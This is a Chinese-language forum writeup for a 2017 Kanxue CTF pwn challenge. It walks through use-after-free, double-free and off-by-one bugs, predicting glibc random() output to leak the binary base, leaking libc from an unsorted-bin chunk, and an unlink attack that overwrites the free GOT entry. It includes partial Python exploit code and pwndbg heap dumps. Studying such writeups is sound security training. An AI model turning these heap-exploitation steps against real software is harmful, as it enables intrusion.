-
-
[原创]第四题club_pwn writeup
-
发表于: 2017-10-30 20:46 4205
-
菜单题,5个选项
其中值得留意的是
3)destory
,只能free
small和normal的指针,该功能在free指针的时候没有清零,同时flag[]
也没有置零。
5)guess
这个功能,ida里进去发现只要我们输入正确的随机数,就可以得到&seed
的地址。
在destory
函数中free
指针后ptr
和flag
都没有清零,同时在leaveMessage
、destory
和showMessage功能中没有检查flag[]
和inuse
位,可以造成UAF和double free
leaveMessage
中读入会造成off-by-one(单字节溢出)
guess
的伪随机数是可预测的
checksec,发现除了RELRO,保护全开
这个off-by-one可以造成unlink,但是我们不知道1)程序的基址2)libc的基址,所以下面我们想办法泄露这两个地址
elf的基址前面提到,guess函数的伪随机数是可以预测的,我们在得到足够的数据后预测到下一个随机数的值,其关系如下oi = oi-31 + oi-3 mod 2**31 or oi = oi-31 + oi-3 + 1 mod 2**31, for all i ≥ 31.
其中oi
为第i个output伪随机数的值(i为下标),2**31 == 2147483648,详细的内容参考这篇文章,或者原文
其部分代码如下
libc我们可以通过showMessage
这个函数获得,该函数没有检查flag[]
与inuse
,我们先申请一个smalbin大小的box,然后释放,就会在对应的chunk的fd与bk除填上unsortbins的链表头地址
我们输出这个值即可
该部分代码如下:
最后我们利用off-by-one造成unlink,修改free
的got表即可
我刚开是是修改atoi
的got为system
但是不知道为什么本地getshell,远程eof,坑了很久,而且很多时候也会出现,望各位大佬指点一二。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | def elfBase(p, numberList, pNumber): p.recvuntil( '> ' ) p.sendline( '5' ) p.recvuntil( '> ' ) p.sendline( str (pNumber)) a = p.recv( 1 ) if a = = 'G' : elf.address = int (p.recvline().split( ' ' )[ - 1 ][: - 2 ], 10 ) - 0x0000000000202148 return 1 p.recvuntil( 'is ' ) a = p.recvuntil( '!' ) number = int (a[: - 1 ], 10 ) if number not in numberList: numberList.append(number) length = len (numberList) if length > = 31 : pNumber = (numberList[length - 31 ] + numberList[length - 3 ]) % 2147483648 return pNumber else : return 0 ........ ........ def pwn(p): pNumber = 0 numberList = [] while True : pNumber = elfBase(p, numberList, pNumber) if pNumber = = 1 : break print ( 'elf.address => {}' . format ( hex (elf._address))) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | pwndbg> parseheap addr prev size status fd bk 0x555555757000 0x0 0x410 Used None None 0x555555757410 0x0 0x110 Freed 0x7ffff7dd3b58 0x7ffff7dd3b58 0x555555757520 0x110 0x120 Used None None pwndbg> chunkinfo 0x555555757410 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Chunk info = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Status : Freed Unlinkable : True Result of unlink : FD - >bk ( * 0x7ffff7dd3b70 ) = BK ( 0x555555757410 - > 0x7ffff7dd3b58 ) BK - >fd ( * 0x7ffff7dd3b68 ) = FD ( 0x555555757410 - > 0x7ffff7dd3b58 ) prev_size : 0x0 size : 0x110 prev_inused : 1 is_mmap : 0 non_mainarea : 0 fd : 0x7ffff7dd3b58 bk : 0x7ffff7dd3b58 |
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]看雪CTF 2019 Q3 第1题 2190
- [原创]第四题club_pwn writeup 4206
- [原创]2017看雪CTF第一题 2296